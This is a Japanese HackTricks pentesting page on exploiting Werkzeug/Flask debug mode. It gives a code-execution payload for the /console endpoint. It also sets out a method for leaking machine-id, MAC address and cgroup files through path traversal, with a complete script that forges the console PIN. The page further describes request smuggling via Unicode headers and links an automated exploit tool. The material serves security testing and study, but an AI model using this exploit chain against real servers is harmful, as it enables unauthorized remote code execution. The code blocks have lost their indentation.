Werkzeug / Flask デバッグ

Reading time: 9 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

コンソール RCE

デバッグがアクティブな場合、/console にアクセスして RCE を取得することができるかもしれません。

python
__import__('os').popen('whoami').read();

インターネット上には、これやmetasploitのものなど、いくつかのエクスプロイトがあります。

ピン保護 - パス・トラバーサル

場合によっては、/console エンドポイントがピンで保護されることがあります。ファイルトラバーサルの脆弱性がある場合、そのピンを生成するために必要な情報をすべて漏洩させることができます。

Werkzeug コンソール PIN エクスプロイト

アプリでデバッグエラーページを強制的に表示させて、これを確認します:

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

"console locked" シナリオに関するメッセージは、Werkzeugのデバッグインターフェースにアクセスしようとした際に表示され、コンソールを解除するためのPINが必要であることを示しています。提案として、Werkzeugのデバッグ初期化ファイル(__init__.py)におけるPIN生成アルゴリズムを分析することでコンソールPINを悪用することが挙げられています。PIN生成メカニズムはWerkzeugソースコードリポジトリから調査できますが、バージョンの不一致の可能性があるため、実際のサーバーコードをファイルトラバーサル脆弱性を通じて取得することが推奨されます。

コンソールPINを悪用するには、probably_public_bitsprivate_bitsの2セットの変数が必要です:

probably_public_bits

  • username: Flaskセッションを開始したユーザーを指します。
  • modname: 通常はflask.appとして指定されます。
  • getattr(app, '__name__', getattr(app.__class__, '__name__')): 一般的にFlaskに解決されます。
  • getattr(mod, '__file__', None): Flaskディレクトリ内のapp.pyへのフルパスを表します(例:/usr/local/lib/python3.5/dist-packages/flask/app.py)。app.pyが適用できない場合は、app.pycを試してください

private_bits

  • uuid.getnode(): 現在のマシンのMACアドレスを取得し、str(uuid.getnode())で10進数形式に変換します。

  • サーバーのMACアドレスを特定するには、アプリで使用されているアクティブなネットワークインターフェース(例:ens3)を特定する必要があります。不明な場合は、/proc/net/arpをリークしてデバイスIDを見つけ、次に**/sys/class/net/<device id>/addressからMACアドレスを抽出**します。

  • 16進数のMACアドレスを10進数に変換する方法は以下の通りです:

python
# 例のMACアドレス: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
  • get_machine_id(): /etc/machine-idまたは/proc/sys/kernel/random/boot_idからのデータを、最後のスラッシュ(/)以降の/proc/self/cgroupの最初の行と連結します。
`get_machine_id()`のコード
python
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id

if _machine_id is not None:
return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""

# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue

if value:
linux += value
break

# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass

if linux:
return linux

# On OS X, use ioreg to get the computer's serial number.
try:

必要なデータをすべて収集した後、エクスプロイトスクリプトを実行してWerkzeugコンソールPINを生成できます。

必要なデータをすべて収集した後、エクスプロイトスクリプトを実行してWerkzeugコンソールPINを生成できます。このスクリプトは、組み立てられたprobably_public_bitsprivate_bitsを使用してハッシュを作成し、その後、最終的なPINを生成するためにさらに処理されます。以下は、このプロセスを実行するためのPythonコードです:

python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',  # username
'flask.app',  # modname
'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
'279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

このスクリプトは、連結されたビットをハッシュ化し、特定のソルト(cookiesaltpinsalt)を追加し、出力をフォーマットすることでPINを生成します。probably_public_bitsprivate_bits の実際の値は、生成されたPINがWerkzeugコンソールで期待されるものと一致するように、ターゲットシステムから正確に取得する必要があることに注意してください。

tip

古いバージョンのWerkzeugを使用している場合は、ハッシュアルゴリズムをsha1の代わりにmd5に変更してみてください。

Werkzeug Unicode文字

この問題で観察されたように、WerkzeugはヘッダーにUnicode文字が含まれているリクエストを閉じません。そして、この解説で説明されているように、これによりCL.0リクエストスムージングの脆弱性が発生する可能性があります。

これは、WerkzeugではいくつかのUnicode文字を送信することが可能であり、それがサーバーを壊すことになるからです。しかし、HTTP接続が**Connection: keep-aliveヘッダーで作成された場合、リクエストのボディは読み取られず、接続はまだオープンのままとなり、リクエストのボディ次のHTTPリクエスト**として扱われます。

自動化されたエクスプロイト

GitHub - Ruulian/wconsole_extractor: WConsole Extractor is a python library which automatically exploits a Werkzeug development server in debug mode. You just have to write a python function that leaks a file content and you have your shell :)

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする